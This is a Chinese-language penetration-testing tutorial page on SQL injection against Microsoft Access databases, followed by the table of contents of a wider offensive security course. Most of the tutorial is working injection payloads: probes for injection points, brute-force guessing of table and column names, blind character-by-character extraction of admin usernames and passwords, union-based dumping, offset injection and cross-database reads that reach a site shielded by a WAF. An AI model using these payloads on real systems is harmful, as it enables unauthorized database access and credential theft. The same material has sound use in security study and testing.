[toc]
Access数据库windows平台下的小型数据库,搭建方便,维护简单,因此一般是与windowns下的iis中间件一起用的
## 找注入点并确定数据库类型
找注入点
```SQL
' ● 返回错误
and 1=1 ●返回正常
and 1=2 ● 返回错误
# 满足以上条件即存在注入
```
判断iis后的数据库类型
```sql
and exists (select * from msysobjects)>0 ●返回正常,即可判断其为Access数据库
and exists (select * from sysobjects)>0 ●返回正常,即可判断其为MSSQL数据库
```
## 猜数据库名和字段
access数据库没有有效办法获取库表名,只能通过暴力破解的方式一个一个的尝试
**猜解数据库表名**
access数据库没有库名的概念,直接就是表
```SQL
and exists(select * from 表名)
# 一个一个猜,猜中为止,例如:
http://XXX?id=1 and exists(select * from users)
http://XXX?id=1 and exists(select * from admin)
http://XXX?id=1 and exists(select * from administrator)
```
**猜字段:**
```sql
and exists(select 字段名 from 表名)
# 一个一个猜,猜中为止 例如:
http://XXX?id=1 and exists(select username from administrator)
http://XXX?id=1 and exists(select user_name from administrator)
http://XXX?id=1 and exists(select password from administrator)
```
## 爆破access中的数据
### 猜字段长度和数据(标准)
**猜解字段长度**
通过上述步骤可以知道,数据库表名是“administrator”,表中字段有“user_name”和“password”。
```sql
#用返回的对错猜测
and (select top 1 len(user_name) from administrator)>xx
#如以下报错,可确定字段数目为5
http://xxx?id=14 and (select top 1 len(user_name) from administrator)>3 ●正常
http://xxx?id=14 and (select top 1 len(user_name) from administrator)>4 ●正常
http://xxx?id=14 and (select top 1 len(user_name) from administrator)>5 ●报错
```
**猜解字段内容**
```sql
and (select top 1 asc(mid(user_name,1,1)) from administrator)>xx
#先判断第一个字母,是汉字还是字母
## 返回正常页面说明ASCII值大于0 ,是字母
http://xxx?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>0
# 二分法确定acsii码,
http://xxx?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>100
http://xxx?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>50
http://xxx?id=14 and (select top 1 asc(mid(user_name,1,1)) from administrator)>75
# 最后根据确定下来的acsii码97,反查对应表得到第一个字母为a,在用同样的方法确定出来其他位字母
## 密码的话一般会做md5加密,记得用网站的解密工具尝试(简单的可以反解成功)
```
>小提示: access数据库都是存放在网站目录下,后缀格式为mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,如果是MSSQL、MYSQL等,一般数据库是存储在数据库安装路径下,后缀格式为myi,myd,frm,mdf 不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目录下。
### 用联合查询方案注入(通用)
首先还是要先猜解出所需的表的表名和字段名,这个没有办法
再用order by语句排序,根据排序数量,可知当前页面可查询字段数,假设为7
再通过union查询数字,确定出页面可显示的字段(假设是第2和3字段)
最后通过union语句联合查询指定表(在可显示的字段替换为需要查询的表中的字段)
```sql
order by 7
and 1=2 union select 1,2,3,4,5,6,7 from admin
and 1=2 union select 1,user_name,passwoed,4,5,6,7 from admin
```
## 偏移注入和跨库查询
### 偏移注入
偏移注入会随机爆出一个字段内容,具体是什么看运气
偏移注入只针对Access数据库,当我们只猜到数据库表名但猜不到列名的情况下,这种方法可以帮我们填补。
```url
#第一步:使用之前的方法得到显示点为2,3,字段个数为7,但是我们并不知道列名
http://XXX?id=14 union select 1,2,3,4,5,6,7 from administrator
#第二步:用*依次向前替换数字字段,直到页面显示正常。例如在5替换为*后页面返回正常
http://XXX?id=14union select 1,2,3,4,* from administrator
#说明星号替换了3个字段(也就是表中有三个字段),后续要使用inner jion自表连接查询,因此计算字段数乘以2是否小于当前列(3*2<7)
#第三步:公式成立的话,用inner jion自连接查询
http://XXX?id=14 union select 1,* from (administrator as a inner join administrator as b on a.id=b.id)
#如果是更多位,可再接inner join
http://XXX?id=14 union select 1,* from ((administrator as a inner join administrator as b on a.id=b.id) inner join administrator as c a.id=c.id)
```
### 跨库查询
假设a和b两个站点在同一服务器上面,但a服务器上面安装了安全狗、Waf这样的安全软件,现在我们要对a站点进行攻击,但是没发现什么大漏洞,只找到网站数据库路径,对数据库下载发现下载不了。
这个时候我发现b站点有注入点。并且知道了“2和3”是注入点,可以通过跨库的方式,读取指定目录下access数据库的数据。
```url
http://xxx?id=14 union select 1,adminpassword,username,4,5,6,7 from[C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins
```
- src导航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查询
- 备案信息查询
- 信用信息查询
- IP反查站点的站
- 浏览器插件
- 收集子域名信息
- 在线平台
- 工具枚举
- ssl与证书透明度
- DNS历史解析
- DNS域传送漏洞
- C段探测
- JS文件域名&ip探测
- 搜索引擎&情报社区
- google黑客
- 威胁情报
- 钟馗之眼
- 收集相关应用信息
- 微信公众号&微博
- APP收集&反编译
- 收集常用端口信息
- 常见端口&解析&总结
- 扫描工具
- 网络空间引擎搜索
- 浏览器插件
- nmap扫描
- 收集敏感信息
- 源码泄露
- 邮箱信息收集
- 备份文件泄露
- 目录&后台扫描
- 公网网盘
- 历史资产
- 指纹&WAF&CDN识别
- 指纹识别
- CDN识别
- 绕过CDN查找真实IP
- WAF识别
- 漏洞资源和社工
- 漏洞公共资源库
- 社会工程
- 资产梳理
- 各种对渗透有帮助的平台
- 扫描器
- 扫描器对比
- AppScan(IBM)_web和系统
- AWVS_web扫描
- X-Scan_系统扫描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_绿盟_web
- 安恒明鉴
- Nessus_系统
- nexpose_系统
- 启明天镜_web_系统
- SQL注入
- 常用函数
- sql注入步骤
- union注入和information_schema库
- 函数和报错注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解决方案
- Access数据库注入
- MSSQL数据库注入
- MYSQL数据库注入
- 神器SQLmap
- xss跨站脚本攻击
- xss原理和分类
- xss案例和修复
- xss绕过技巧
- xss案例
- 文件上传下载包含
- 常有用文件路径
- 文件上传漏洞
- 文件下载漏洞
- 文件包含漏洞
- upload-labs上传漏洞练习
- XXE、SSRF、CSRF
- SSRF原理基础
- SSRF案例实战
- CSRF原理基础
- CSRF案例及防范
- XXE之XML_DTD基础
- XXE之payload与修复
- XXE结合SSRF
- 远程命令执行与反序列化
- 远程命令和代码执行漏洞
- 反序列化漏洞
- 验证码与暴力破解
- 爆破与验证码原理
- CS架构暴力破解
- BS架构暴力破解
- WEB编辑器漏洞
- 编辑器漏洞基础
- Ewebeditor编辑器
- FCKeditor编辑器
- 其他编辑器
- web中间件漏洞
- 中间件解析漏洞
- Tomcat常见的漏洞总结
- Jboss漏洞利用总结
- Weblogic漏洞利用总结
- WEB具体步骤
- 旁注和越权
- CDN绕过
- 越权与逻辑漏洞
- WEB应用常见其他漏洞
- WEB登陆页面渗透思路
- 获取WEBshell思路
- 社工、钓鱼、apt
- 社工和信息收集
- 域名欺骗
- 钓鱼邮件
- 一些钓鱼用的挂马工具
- 代码审计
- 代码审计工具
- WAF绕过
- WAF基础及云WAF
- 各种WAF绕过方法
- 绕过WAF上传文件
- 系统提权
- windows系统提权
- linux系统提权
- 数据库提权操作系统
- 内网横向渗透
- 内网穿透方式
- 一些内网第三方应用提权
- ARP与DOS
- ARP欺骗
- DOS与DDOS
- 一些DOS工具